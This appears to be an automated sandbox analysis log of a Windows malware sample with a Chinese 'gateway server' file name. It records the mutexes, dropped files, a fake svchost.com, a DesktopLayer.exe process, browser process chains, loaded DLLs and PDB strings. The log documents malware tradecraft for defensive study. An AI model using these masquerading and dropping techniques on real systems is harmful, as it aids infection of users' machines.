Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5144
Source: C:\Windows\svchost.com	Mutant created: \Sessions\1\BaseNamedObjects\MutexPolesskayaGlush. svchost.com n X . t N t h ` T 5 @
Source: C:\Program Files (x86)\Microsoft\DesktopLayer.exe	Mutant created: \Sessions\1\BaseNamedObjects\KyUffThOkYwRRtgPP

Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe

File created: C:\Users\user\AppData\Local\Temp\3582-490

Jump to behavior

Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: integrator.exe.7.dr	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: integrator.exe.7.dr	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: integrator.exe.7.dr	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: integrator.exe.7.dr	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');

Source: #U65b0#U7248#U7f51#U5173Srv.exe	ReversingLabs: Detection: 97%
Source: #U65b0#U7248#U7f51#U5173Srv.exe	Virustotal: Detection: 87%

Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe

File read: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe "C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe"
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Process created: C:\Users\user\AppData\Local\Temp\3582-490\#U65b0#U7248#U7f51#U5173Srv.exe "C:\Users\user\AppData\Local\Temp\3582-490\#U65b0#U7248#U7f51#U5173Srv.exe"
Source: C:\Users\user\AppData\Local\Temp\3582-490\#U65b0#U7248#U7f51#U5173Srv.exe	Process created: C:\Users\user\AppData\Local\Temp\uvkTKBif.exe C:\Users\user\AppData\Local\Temp\uvkTKBif.exe
Source: C:\Users\user\AppData\Local\Temp\3582-490\#U65b0#U7248#U7f51#U5173Srv.exe	Process created: C:\Program Files (x86)\Microsoft\DesktopLayer.exe "C:\Program Files (x86)\Microsoft\DesktopLayer.exe"
Source: C:\Program Files (x86)\Microsoft\DesktopLayer.exe	Process created: C:\Program Files\Internet Explorer\iexplore.exe "C:\Program Files\Internet Explorer\iexplore.exe"
Source: C:\Program Files\Internet Explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:6672 CREDAT:17410 /prefetch:2
Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe	Process created: C:\Windows\svchost.com "C:\Windows\svchost.com" "C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\117020~1.47\BHO\ie_to_edge_stub.exe" --from-ie-to-edge=3 --ie-frame-hwnd=1047a
Source: C:\Windows\svchost.com	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\117020~1.47\BHO\ie_to_edge_stub.exe --from-ie-to-edge=3 --ie-frame-hwnd=1047a
Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe	Process created: C:\Windows\svchost.com "C:\Windows\svchost.com" "C:\PROGRA~2\Java\jre-1.8\bin\ssvagent.exe" -new
Source: C:\Windows\svchost.com	Process created: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe C:\PROGRA~2\Java\jre-1.8\bin\ssvagent.exe -new
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Process created: C:\Windows\svchost.com "C:\Windows\svchost.com" "C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\msedge.exe" --from-ie-to-edge=3 --ie-frame-hwnd=1047a
Source: C:\Windows\svchost.com	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\msedge.exe --from-ie-to-edge=3 --ie-frame-hwnd=1047a
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2156 --field-trial-handle=2124,i,13587844842802440522,10807369144858660475,262144 /prefetch:3
Source: unknown	Process created: C:\Windows\svchost.com "C:\Windows\svchost.com" "C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\msedge.exe" --from-ie-to-edge=3 --ie-frame-hwnd=1047a --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Windows\svchost.com	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\msedge.exe --from-ie-to-edge=3 --ie-frame-hwnd=1047a --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2844 --field-trial-handle=2632,i,6985036185838690149,17869082300210821923,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=5764 --field-trial-handle=2632,i,6985036185838690149,17869082300210821923,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\uvkTKBif.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5144 -s 1556
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Process created: C:\Users\user\AppData\Local\Temp\3582-490\#U65b0#U7248#U7f51#U5173Srv.exe "C:\Users\user\AppData\Local\Temp\3582-490\#U65b0#U7248#U7f51#U5173Srv.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\#U65b0#U7248#U7f51#U5173Srv.exe	Process created: C:\Users\user\AppData\Local\Temp\uvkTKBif.exe C:\Users\user\AppData\Local\Temp\uvkTKBif.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\#U65b0#U7248#U7f51#U5173Srv.exe	Process created: C:\Program Files (x86)\Microsoft\DesktopLayer.exe "C:\Program Files (x86)\Microsoft\DesktopLayer.exe"	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\DesktopLayer.exe	Process created: C:\Program Files\Internet Explorer\iexplore.exe "C:\Program Files\Internet Explorer\iexplore.exe"	Jump to behavior
Source: C:\Program Files\Internet Explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:6672 CREDAT:17410 /prefetch:2	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe	Process created: C:\Windows\svchost.com "C:\Windows\svchost.com" "C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\117020~1.47\BHO\ie_to_edge_stub.exe" --from-ie-to-edge=3 --ie-frame-hwnd=1047a	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe	Process created: C:\Windows\svchost.com "C:\Windows\svchost.com" "C:\PROGRA~2\Java\jre-1.8\bin\ssvagent.exe" -new	Jump to behavior
Source: C:\Windows\svchost.com	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\117020~1.47\BHO\ie_to_edge_stub.exe --from-ie-to-edge=3 --ie-frame-hwnd=1047a	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Process created: C:\Windows\svchost.com "C:\Windows\svchost.com" "C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\msedge.exe" --from-ie-to-edge=3 --ie-frame-hwnd=1047a
Source: C:\Windows\svchost.com	Process created: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe C:\PROGRA~2\Java\jre-1.8\bin\ssvagent.exe -new
Source: C:\Windows\svchost.com	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\msedge.exe --from-ie-to-edge=3 --ie-frame-hwnd=1047a
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2156 --field-trial-handle=2124,i,13587844842802440522,10807369144858660475,262144 /prefetch:3
Source: C:\Windows\svchost.com	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\msedge.exe --from-ie-to-edge=3 --ie-frame-hwnd=1047a --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2844 --field-trial-handle=2632,i,6985036185838690149,17869082300210821923,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=5764 --field-trial-handle=2632,i,6985036185838690149,17869082300210821923,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\#U65b0#U7248#U7f51#U5173Srv.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\#U65b0#U7248#U7f51#U5173Srv.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uvkTKBif.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uvkTKBif.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uvkTKBif.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uvkTKBif.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uvkTKBif.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uvkTKBif.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uvkTKBif.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uvkTKBif.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uvkTKBif.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uvkTKBif.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uvkTKBif.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uvkTKBif.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uvkTKBif.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uvkTKBif.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uvkTKBif.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uvkTKBif.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uvkTKBif.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uvkTKBif.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uvkTKBif.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uvkTKBif.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\DesktopLayer.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\svchost.com	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\svchost.com	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: wininet.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: urlmon.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: iertutil.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: srvcli.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: netutils.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: uxtheme.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: windows.storage.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: wldp.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: propsys.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: profapi.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: edputil.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: sspicli.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: wintypes.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: appresolver.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: bcp47langs.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: slc.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: userenv.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: sppc.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\svchost.com	Section loaded: uxtheme.dll
Source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Section loaded: vcruntime140.dll
Source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Section loaded: wininet.dll
Source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Section loaded: version.dll
Source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Section loaded: urlmon.dll
Source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Section loaded: msvcp140.dll
Source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Section loaded: iertutil.dll
Source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Section loaded: srvcli.dll
Source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Section loaded: netutils.dll
Source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Section loaded: uxtheme.dll
Source: C:\Windows\svchost.com	Section loaded: uxtheme.dll
Source: C:\Windows\svchost.com	Section loaded: uxtheme.dll

Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source:	Binary string: D:\a\_work\e\src\out\Release_x64\pwahelper.exe.pdb source: pwahelper.exe.7.dr, pwahelper.exe0.7.dr
Source:	Binary string: D:\a\_work\e\src\out\Release_x64\cookie_exporter.exe.pdb source: cookie_exporter.exe.0.dr
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\deploy\tmp\jp2launcher\obj\jp2launcher.pdb@@4 source: jp2launcher.exe.7.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2rcross\x-none\appsharinghookcontroller.pdb source: AppSharingHookController.exe.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\selfcert.pdb source: SELFCERT.EXE.7.dr
Source:	Binary string: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\*`r source: #U65b0#U7248#U7f51#U5173Srv.exe, 00000000.00000003.2051117990.000000000210C000.00000004.00001000.00020000.00000000.sdmp, #U65b0#U7248#U7f51#U5173Srv.exe, 00000000.00000003.2051185492.0000000002116000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: #U65b0#U7248#U7f51#U5173Srv.exe, 00000000.00000003.2051117990.000000000210C000.00000004.00001000.00020000.00000000.sdmp, #U65b0#U7248#U7f51#U5173Srv.exe, 00000000.00000003.2051185492.0000000002116000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: d:\dbs\el\ja2\target\x86\ship\delivery\x-none\ose.pdb000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: OSE.EXE.7.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\iecontentservice.pdbb0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: IEContentService.exe.7.dr
Source:	Binary string: D:\dbs\el\ja2\Target\x86\ship\dcf\x-none\SpreadsheetCompare.pdb source: SPREADSHEETCOMPARE.EXE.7.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\officeappguardwin32.pdb source: officeappguardwin32.exe.7.dr
Source:	Binary string: AppVDllSurrogate64.pdb source: AppVDllSurrogate64.exe.0.dr
Source:	Binary string: D:\a\_work\e\src\out\Release_x64\identity_helper.exe.pdbOGP source: identity_helper.exe.0.dr
Source:	Binary string: d:\dbs\el\ja2\target\x86\ship\dw\x-none\dw20.pdb source: DW20.EXE.0.dr
Source:	Binary string: D:\a\_work\1\s\src\ai\windows\dll\Win32\Release\aimgr.pdb# source: aimgr.exe.0.dr
Source:	Binary string: GoogleUpdateOnDemand_unsigned.pdb source: GoogleUpdateOnDemand.exe.7.dr
Source:	Binary string: D:\dbs\el\ja2\Target\x86\ship\dcf\x-none\Common.DBConnection64.pdb source: Common.DBConnection64.exe.0.dr
Source:	Binary string: MicrosoftEdgeUpdate_unsigned.pdb source: MicrosoftEdgeUpdate.exe.0.dr
Source:	Binary string: MicrosoftEdgeComRegisterShellARM64_unsigned.pdb source: MicrosoftEdgeComRegisterShellARM64.exe.7.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\cnfnot32.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: CNFNOT32.EXE.0.dr
Source:	Binary string: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb source: #U65b0#U7248#U7f51#U5173Srv.exe, 00000000.00000003.2051117990.000000000210C000.00000004.00001000.00020000.00000000.sdmp, #U65b0#U7248#U7f51#U5173Srv.exe, 00000000.00000003.2051138210.0000000002115000.00000004.00001000.00020000.00000000.sdmp, #U65b0#U7248#U7f51#U5173Srv.exe, 00000000.00000003.2051185492.0000000002116000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Data\svn\autoit\branch_3.3.16\bin\Aut2Exe\Aut2Exe.pdb source: Aut2exe.exe.7.dr
Source:	Binary string: D:\DCB\CBT_Main\BuildResults\bin\Win32\Release\AdobeARMHelper.pdb source: AdobeARMHelper.exe.7.dr
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\unpackexe\unpack200.pdb00 source: unpack200.exe.0.dr
Source:	Binary string: d:\dbs\el\omr\target\x86\ship\click2run\x-none\Integrator.pdb source: integrator.exe.7.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\ocpubmgr.pdb source: OcPubMgr.exe.7.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\graph.pdb source: GRAPH.EXE.0.dr
Source:	Binary string: r.pdb source: AppSharingHookController.exe.0.dr
Source:	Binary string: WINLOA~1.PDB source: #U65b0#U7248#U7f51#U5173Srv.exe, 00000000.00000003.2051117990.000000000210C000.00000004.00001000.00020000.00000000.sdmp, #U65b0#U7248#U7f51#U5173Srv.exe, 00000000.00000003.2051138210.0000000002115000.00000004.00001000.00020000.00000000.sdmp, #U65b0#U7248#U7f51#U5173Srv.exe, 00000000.00000003.2051185492.0000000002116000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\deploy\tmp\jp2launcher\obj\jp2launcher.pdb source: jp2launcher.exe.7.dr
Source:	Binary string: d:\dbs\el\omr\target\x86\ship\click2run\x-none\Integrator.pdb0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: integrator.exe.7.dr
Source:	Binary string: VSTOInstaller.pdb source: VSTOInstaller.exe.0.dr
